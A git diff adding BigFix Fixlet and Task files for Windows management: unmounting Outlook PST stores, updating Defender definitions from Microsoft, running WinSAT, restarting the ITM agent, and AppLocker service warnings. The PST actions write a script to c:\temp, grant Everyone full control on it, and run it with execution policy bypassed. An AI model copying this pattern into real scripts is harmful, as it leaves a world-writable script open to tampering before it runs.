+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to Unmount using PowerShell</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+$Outlook = New-Object -ComObject Outlook.Application
+$Namespace = $Outlook.getNamespace("MAPI")
+
+$all_psts = $Namespace.Stores | Where-Object {{($_.ExchangeStoreType -eq '3') -and ($_.FilePath -like '*.pst') -and ($_.IsDataFileStore -eq $true)}
+
+ForEach ($pst in $all_psts){{
+    $Outlook.Session.RemoveStore($pst.GetRootFolder())
+}
+Get-Process Outlook | Foreach-Object {{ $_.CloseMainWindow() | Out-Null } | stop-process –force
+END_OF_FILE
+
+// create temp folder if it doesn't exist
+if {not exists folder "c:\temp"}
+  folder create "c:\temp"
+endif
+
+delete "c:\temp\RemovePST.ps1"
+move __createfile "c:\temp\RemovePST.ps1"
+waithidden "{pathname of system folder & "\icacls.exe"}" "c:\temp\RemovePST.ps1" /grant Everyone:F
+
+override wait
+completion=job
+hidden=true
+runas=currentuser
+wait { pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) } -ExecutionPolicy Bypass -File "c:\temp\RemovePST.ps1"
+delete "c:\temp\RemovePST.ps1"
+
+// remove temp folder if it is empty
+if {exists folder "c:\temp" whose (not exists files of it and not exists folders of it)}
+  folder delete "c:\temp"
+endif]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action27917">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to Unmount using VBScript</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+On Error Resume Next
+Dim objOutlook 'As Outlook.Application
+Dim Stores     'As Outlook.Stores
+Dim objFolder  'As Outlook.Folder
+Dim i          'As Integer
+
+Set objOutlook = CreateObject("Outlook.Application")
+Set Stores = objOutlook.Session.Stores
+
+
+For i =  Stores.Count to 0 step -1
+
+If Stores(i).ExchangeStoreType = 3 Then
+   Set objFolder = Stores(i).GetRootFolder
+   objOutlook.Session.RemoveStore objFolder
+ Else
+End If
+
+Next
+
+On Error Resume Next
+Set Outlook = GetObject(, "Outlook.Application")
+If Err = 0 Then
+Outlook.Quit()
+End If
+END_OF_FILE
+
+// create temp folder if it doesn't exist
+if {not exists folder "c:\temp"}
+  folder create "c:\temp"
+endif
+
+delete "c:\temp\RemovePST.vbs"
+move __createfile "c:\temp\RemovePST.vbs"
+waithidden "{pathname of system folder & "\icacls.exe"}" "c:\temp\RemovePST.vbs" /grant Everyone:F
+
+override wait
+completion=job
+hidden=true
+runas=currentuser
+wait "{pathname of system folder & "\cscript.exe"}" c:\temp\RemovePST.vbs
+delete "c:\temp\RemovePST.vbs"
+
+// remove temp folder if it is empty
+if {exists folder "c:\temp" whose (not exists files of it and not exists folders of it)}
+  folder delete "c:\temp"
+endif]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows (24602).bes b/Sites/Windows Management/Fixlets/Fixlets/Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows (24602).bes
new file mode 100644
index 000000000..ef3aaa381
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows (24602).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows
+  ID       : 24602
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-07-19T12:20:41
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Update Windows Defender Virus Definitions - v1.247.1082.0 - 64bit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>x64 of operating system</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Win8.1 or higher */ exists versions whose(it > "6.3.9200") of operating systems]]></Relevance>
+    <Relevance><![CDATA[exists maxima whose(it < "1.247.1082.0") of unique values of (it as string as version) of values whose(name of it = "ASSignatureVersion" OR name of it = "AVSignatureVersion") of keys "Signature Updates" of (keys "Microsoft Antimalware" of it ; keys "Windows Defender" of it) of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft" of native registry]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2017-07-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 19 Jul 2017 19:18:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// https://www.microsoft.com/en-us/wdsi/definitions
+prefetch mpam-fe.exe sha1:d118361ac364a7dd8e78062228f513f22adac505 size:131255056 https://definitionupdates.microsoft.com/download/DefinitionUpdates/VersionedSignatures/AM/1.247.1082.0/amd64/mpam-fe.exe sha256:d9fd34cc92f00d0ae4d0905656dce783c4bc271970bac8608c834f973179863c
+
+wait __Download\mpam-fe.exe /q
+
+//  References:
+//   - http://www.itninja.com/link/install-the-latest-microsoft-security-essentials-definition-updates-get-the-latest-definitions-microsoft-malware-protection-center
+//   - https://bigfix.me/analysis/details/2994634
+//   - https://bigfix.me/analysis/details/2998358
+//   - https://bigfix.me/analysis/details/2996952
+//   - https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Update Windows Experience Index - WinSAT (6045).bes b/Sites/Windows Management/Fixlets/Fixlets/Update Windows Experience Index - WinSAT (6045).bes
new file mode 100644
index 000000000..260a4b4a0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Update Windows Experience Index - WinSAT (6045).bes	
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Update Windows Experience Index - WinSAT
+  ID       : 6045
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T12:20:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Update Windows Experience Index - WinSAT</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"/* Windows Vista or later */]]></Relevance>
+    <Relevance>exists name whose(it does not contain &quot;Win2008&quot; AND it does not contain &quot;Win2012&quot;) of operating system/* Exclude Windows Server */</Relevance>
+    <Relevance>/* This does not need to run on virtual machines */ &quot;Physical&quot; = /* The following is from the Physical/Virtual Computer Type Analysis - Improved */ (if (mac of operating system) then /* the Mac BES client does not currently support the smbios inspector. This needs refinement, but for now just assuming apple devices are physical since virtualiztion of OS X is relatively rare */ &quot;Physical&quot; else (if ((it contains &quot;VMware&quot; or (it contains &quot;Microsoft&quot; AND /* This check is needed to exclude Microsoft Surface devices */ ((value &quot;product_name&quot; of structure &quot;system_information&quot; of smbios) as string contains &quot;Virtual Machine&quot;)) or it contains &quot;Xen&quot; or /* This check is needed to properly identify Parallels VMs as virtual instead of physical */ it contains &quot;Parallels Software&quot;) of (value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string)) then &quot;Virtual&quot; else &quot;Physical&quot;))</Relevance>
+    <Relevance><![CDATA[not ((exists folder "Performance\WinSAT\DataStore" of windows folder) AND (exists files whose(name of it ends with ".WinSAT.xml" AND name of it contains "Assessment") of folder "Performance\WinSAT\DataStore" of windows folder) AND (1 < (number of files whose(name of it ends with ".WinSAT.xml" AND name of it contains "Assessment" AND ("0" = (it as text) of xpath "/WinSAT/CompletionStatus" of xml document of it)) of folder "Performance\WinSAT\DataStore" of windows folder)) AND ((now - maximum of creation times of files whose(name of it ends with ".WinSAT.xml" AND name of it contains "Assessment" AND ("0" = (it as text) of xpath "/WinSAT/CompletionStatus" of xml document of it)) of folder "Performance\WinSAT\DataStore" of windows folder) < 90*day))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2013-08-22</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 15 Nov 2013 19:51:53 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// http://technet.microsoft.com/en-us/library/cc742136.aspx
+// http://blogs.technet.com/b/mniehaus/archive/2009/08/26/prepopulating-windows-experience-index-wei-a-k-a-winsat-numbers-in-windows-7.aspx
+
+parameter &quot;iNumResultsBefore&quot; = &quot;{((it as string) of number of files whose(name of it ends with &quot;.WinSAT.xml&quot; AND name of it contains &quot;Assessment&quot;) of folder &quot;Performance\WinSAT\DataStore&quot; of windows folder)}&quot;
+
+//waithidden cmd /c winsat prepop
+waithidden cmd /c winsat formal -restart
+</ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Upload DISM.txt (1049).bes b/Sites/Windows Management/Fixlets/Fixlets/Upload DISM.txt (1049).bes
new file mode 100644
index 000000000..1f43e3805
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Upload DISM.txt (1049).bes	
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Upload DISM.txt
+  ID       : 1049
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-12-26T15:36:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Upload DISM.txt</Title>
+    <Description><![CDATA[This is an extra task which lets you upload the DISM.txt file which can then be imported into the <A href="http://bigfix.me/features/import">http://bigfix.me/features/import</A> database.
+<P><B>Source:</B> <A href="http://bigfix.me/features/">http://bigfix.me/features/</A></P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>exists file &quot;DISM.txt&quot; of parent folder of client</Relevance>
+    <Category>Upload</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-02</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 26 Dec 2012 21:34:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to upload the DISM.txt file.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">parameter &quot;current_time&quot;=&quot;{(now - &quot;01 Jan 1970 00:00:00&quot; as local time)/second}&quot;
+// set max size to 20 MB to prevent too much data
+setting &quot;_BESClient_ArchiveManager_MaxArchiveSize&quot;=&quot;20971520&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+setting &quot;_BESClient_ArchiveManager_OperatingMode&quot;=&quot;2&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+setting &quot;_BESClient_ArchiveManager_FileSet-DISM{parameter &quot;current_time&quot;}&quot;=&quot;{pathname of parent folder of client}\DISM.txt&quot; on &quot;{parameter &quot;action issue date&quot; of action}&quot; for client
+// send results
+archive now</ActionScript>
+    </DefaultAction>
+    <Action ID="Action1296">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more and download the latest versions of Feature Installer tasks.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://bigfix.me/features/</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4013).bes b/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4013).bes
new file mode 100644
index 000000000..67fcc11fd
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4013).bes	
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : WARNING: Possible Memory Leak in ITM OS Client
+  ID       : 4013
+  Author   : zanesand
+  Domain   : BESC
+  Imported : 2015-03-31T20:20:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>WARNING: Possible Memory Leak in ITM OS Client</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>The listed computers have ITM OS Agents with high memory usage. This may indicate a possible memory leak. This fixlet message is triggered when the ITM OS Windows&nbsp;agent&nbsp;is using more than 150 MB of memory. The recommended action is to restart the ITM OS Agent in order to free memory.</TD></TR></TBODY></TABLE>
+<P><U><FONT size=2>Revision History</FONT></U></P>
+<UL>
+<LI>31/03/2015 -&nbsp;zanesand&nbsp;- Initial Creation </LI></UL>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
+    <Relevance><![CDATA[exists process whose (name of it is "kntcma.exe" AND (((page file usage of it) / (1024*1024)) > 200 OR (ia64 of operating system AND ((page file usage of it) / (1024*1024)) > 300) OR ((page file usage of it) > size of ram / 2)))]]></Relevance>
+    <Category>Support</Category>
+    <Source>BigFix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2015-03-31</SourceReleaseDate>
+    <SourceSeverity>Important</SourceSeverity>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Wed, 17 Oct 2012 13:14:46 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Wed, 17 Oct 2012 13:14:46 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 03 Feb 2011 17:36:14 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain_attributes</Name>
+      <Value>BES Warn Important</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>BES Client TABLE TBODY memory</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 31 Mar 2015 22:53:48 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to restart the ITM OS Agent.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __appendfile
+appendfile net stop KNTCMA_Primary
+appendfile net start KNTCMA_Primary
+delete agentRestart.bat
+copy __appendfile agentRestart.bat
+runhidden agentRestart.bat</ActionScript>
+    </DefaultAction>
+    <Action ID="Action4471">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://bigfix.me/cdb/fixlet/306</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4014).bes b/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4014).bes
new file mode 100644
index 000000000..69bf02495
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/WARNING_ Possible Memory Leak in ITM OS Client (4014).bes	
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : WARNING: Possible Memory Leak in ITM OS Client
+  ID       : 4014
+  Author   : zanesand
+  Domain   : BESC
+  Imported : 2015-03-31T20:29:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>WARNING: Possible Memory Leak in ITM OS Client</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>The listed computers have ITM OS Agents with high memory usage. This may indicate a possible memory leak. This fixlet message is triggered when the ITM OS Windows&nbsp;agent (kntcma.exe)&nbsp;is using more than 150 MB of memory. The recommended action is to restart the ITM OS Agent in order to free memory.</TD></TR></TBODY></TABLE>
+<P><U><FONT size=2>Revision History</FONT></U></P>
+<UL>
+<LI>31/03/2015 -&nbsp;zanesand&nbsp;- Initial Creation </LI></UL>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[version of client >= "8.0"]]></Relevance>
+    <Relevance><![CDATA[exists process whose (name of it is "kntcma.exe" AND (((page file usage of it) / (1024*1024)) > 200 OR (ia64 of operating system AND ((page file usage of it) / (1024*1024)) > 300) OR ((page file usage of it) > size of ram / 2)))]]></Relevance>
+    <Category>Support</Category>
+    <Source>SMI</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2015-04-01</SourceReleaseDate>
+    <SourceSeverity>Important</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 01 Apr 2015 03:27:47 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to restart the ITM OS Agent</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __appendfile
+appendfile net stop KNTCMA_Primary
+appendfile net start KNTCMA_Primary
+delete agentRestart.bat
+copy __appendfile agentRestart.bat
+runhidden agentRestart.bat</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/WUAUSERV Enable (21611).bes b/Sites/Windows Management/Fixlets/Fixlets/WUAUSERV Enable (21611).bes
new file mode 100644
index 000000000..09a783d33
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/WUAUSERV Enable (21611).bes	
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : WUAUSERV Enable
+  ID       : 21611
+  Author   : tjessee
+  Domain   : BESC
+  Imported : 2016-09-14T09:15:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>WUAUSERV Enable</Title>
+    <Description>This will change the wuauserv service to a manual/demand state</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>value &quot;Start&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv&quot; of native registry as string = &quot;4&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-09-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 13 Sep 2016 21:33:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv]&quot; &quot;Start&quot;=dword:00000003</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Application Identity service may not be running (22654).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Application Identity service may not be running (22654).bes
new file mode 100644
index 000000000..97390644e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Application Identity service may not be running (22654).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Applocker Application Identity service may not be running
+  ID       : 22654
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Applocker Application Identity service may not be running</Title>
+    <Description><![CDATA[<P>This fixlet will be applicable on machines that do not have the application identity service running.</P>
+<P>The Application Identity Service is required for Applocker to work.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>(product info string of operating system = &quot;Enterprise&quot; or product info string of operating system = &quot;Server&quot;)</Relevance>
+    <Relevance>state of service &quot;AppIDSvc&quot; != &quot;Running&quot;</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-19</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action23647">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait sc config AppIDSvc start= auto
+wait net start AppIDSvc</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but AppIDSvc is stopped - Windows (22655).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but AppIDSvc is stopped - Windows (22655).bes
new file mode 100644
index 000000000..15b05e98d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but AppIDSvc is stopped - Windows (22655).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Applocker Rules exist but AppIDSvc is stopped - Windows
+  ID       : 22655
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:58
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Applocker Rules exist but AppIDSvc is stopped - Windows</Title>
+    <Description><![CDATA[<P>There are Applocker rules defined but the AppIDSvc is stopped! This means rules&nbsp;may be <STRONG>ENFORCED</STRONG>.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>state of service &quot;AppIDSvc&quot; != &quot;Running&quot;</Relevance>
+    <Relevance>exists keys of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-17</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action23648">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait sc config AppIDSvc start= auto
+wait net start AppIDSvc</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows (20664).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows (20664).bes
new file mode 100644
index 000000000..bf05db9ef
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows (20664).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows
+  ID       : 20664
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T19:08:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Applocker Rules exist but no Enforcement Mode is Set - Windows</Title>
+    <Description><![CDATA[<P>There are Applocker rules defined but no Enforcement mode is set! This means the rule are <STRONG>ENFORCED</STRONG>.</P>
+<P><A href="https://technet.microsoft.com/en-us/library/dd759115(v=ws.11).aspx">https://technet.microsoft.com/en-us/library/dd759115(v=ws.11).aspx</A></P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>exists keys whose (exists keys of it and not exists value &quot;EnforcementMode&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-17</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker cannot run on non-enterprise versions of Windows (20223).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker cannot run on non-enterprise versions of Windows (20223).bes
new file mode 100644
index 000000000..f5821a8e4
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker cannot run on non-enterprise versions of Windows (20223).bes	
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Applocker cannot run on non-enterprise versions of Windows
+  ID       : 20223
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-04-22T19:36:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Applocker cannot run on non-enterprise versions of Windows</Title>
+    <Description>This fixlet is relevant on Windows computers that cannot run AppLocker because it is not supported by the edition or version of the Operating System. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Relevance>(product info string of operating system does not contain &quot;Enterprise&quot; and product info string of operating system does not contain &quot;Server&quot;)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Apr 2016 19:00:51 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker maximum event log size may be too small (20583).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Applocker maximum event log size may be too small (20583).bes
new file mode 100644
index 000000000..ad3adce45
--- /dev/null
